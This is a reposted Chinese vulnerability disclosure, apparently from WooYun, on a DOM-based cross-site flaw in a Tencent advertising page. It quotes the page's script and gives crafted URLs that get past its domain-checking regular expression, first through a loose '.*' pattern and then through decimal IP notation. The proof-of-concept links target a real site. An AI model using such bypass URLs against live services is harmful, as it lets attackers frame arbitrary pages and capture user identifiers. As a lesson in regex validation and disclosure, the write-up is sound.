记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

腾讯某界面DOM型跨站(那些容易误用的正则表达式)

2014-07-18 13:00

这是腾讯的广告界面,也就是http://etg.qq.com/ 腾讯易推广

存在缺陷的链接是:

http://etg.qq.com/billboard/minsite/etg.shtml?fu=http%3A%2F%2Fa.paipai.com%2f%26size%3D1024x768%26time%3D0



这是第一次的代码

var fu=$xss(decodeURIComponent($getQuery('fu')),'script'),

content=document.getElementById('content');



if(fu.search(/^http\:\/\/.*\.paipai.com($|(\/[^<>\'\"]*))/) > -1){

var uin=$getUin(),

sizes=$getQuery('size',fu).split('x');

if(sizes&&sizes.length==2){

content.style.width=sizes[0]+'px';

content.style.height=sizes[1]+'px';

}

content.src=fu+(uin ? (fu.indexOf('?')>0 ? '&uin=':'?uin=')+uin :'');

}else{

content.src='http://www.paipai.com';

}



function $getUin(){

var uin=$getCookie("uin")||$getCookie('uin_cookie')||$getCookie('pt2gguin')

||$getCookie('o_cookie')||$getCookie('luin')||$getCookie('buy_uin');

return uin?parseInt(uin.replace("o",""),10):"";

}



function $getQuery(name,url){

var u = arguments[1] || window.location.search,

reg = new RegExp("(^|&)"+ name +"=([^&]*)(&|$)"),

r = u.substr(u.indexOf("\?")+1).match(reg);

return r!=null?r[2]:"";

}

function $getCookie(name) {

var reg = new RegExp("(^| )" + name + "(?:=([^;]*))?(;|$)"), val = document.cookie.match(reg);

return val ? (val[2] ? unescape(val[2]) : "") : null;

}

function $xss(str,type){

//空过滤

if(!str){

return str===0 ? "0" : "";

}

switch(type){

case "script":

return str.replace(/[\\"']/g, function(r){

return "\\" + r;

}).replace(/%/g, "\\x25").replace(/\n/g, "\\n").replace(/\r/g, "\\r").replace(/\x01/g, "\\x01");

break;

}

}



存在问题的是这个正则表达式:

fu.search(/^http\:\/\/.*\.paipai.com($|(\/[^<>\'\"]*))/)



开发人员的本意是想要匹配所有的paipai.com的子域,这个正则限制了开头也限制了结尾,本来是很严密的。可是他显然没有注意到.*是可以匹配任意字符的,于是我们可以构造如下链接进行绕过:

http://etg.qq.com/billboard/minsite/etg.shtml?fu=http%3A%2F%2Fwww.baidu.com%2F%3Fa%3D.paipai.com%2f%26size%3D264x160%26time%3D0

//解码后就是

http://etg.qq.com/billboard/minsite/etg.shtml?fu=http://www.baidu.com/?a=.paipai.com/&size=264x160&time=0



可能开发人员也发现了这个问题,正则确实不能这样写,于是几天后这个正则变成了现在这样:

fu.search(/^http\:\/\/[^.]*\.paipai.com($|(\/[^<>\'\"]*))/)



开发人员也觉得匹配.*不妥,于是换成在前面不能出现点号,那么他想,你可能就不能加载其他框架了嘛,因为 baidu.com是需要点的嘛,至少都需要一个点,如果没有点,那肯定就不能是合法的域名了。这个当然是开发人员自己想的,但是他可能忘了,还有个东西叫IP10进制表示法。就是说,http://1032300905/ 也是可以指向http://www.baidu.com/

于是可以构造如下链接绕过限制:

http://etg.qq.com/billboard/minsite/etg.shtml?fu=http%3A%2F%2F1032300905%2F%3Fa%3D.paipai.com%2f%26size%3D1024x768%26time%3D0

//解码后就是,没有出现点号

http://etg.qq.com/billboard/minsite/etg.shtml?fu=http://1032300905/?a=.paipai.com/&size=1024x768&time=0



总结:DOM型跨站,正则表达是第一个要注意的东西,因为这则表达式确实有很多容易误用的地方。

漏洞证明:

加载百度

http://etg.qq.com/billboard/minsite/etg.shtml?fu=http%3A%2F%2F1032300905%2F%3Fa%3D.paipai.com%2f%26size%3D1024x768%26time%3D0



etg.jpg

修复方案:

修改正则表达式


知识来源: www.wooyun.org/bugs/wooyun-2014-063321

阅读:104209 | 评论:0 | 标签:跨站

想收藏或者和大家分享这篇好文章→复制链接地址

“腾讯某界面DOM型跨站(那些容易误用的正则表达式)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云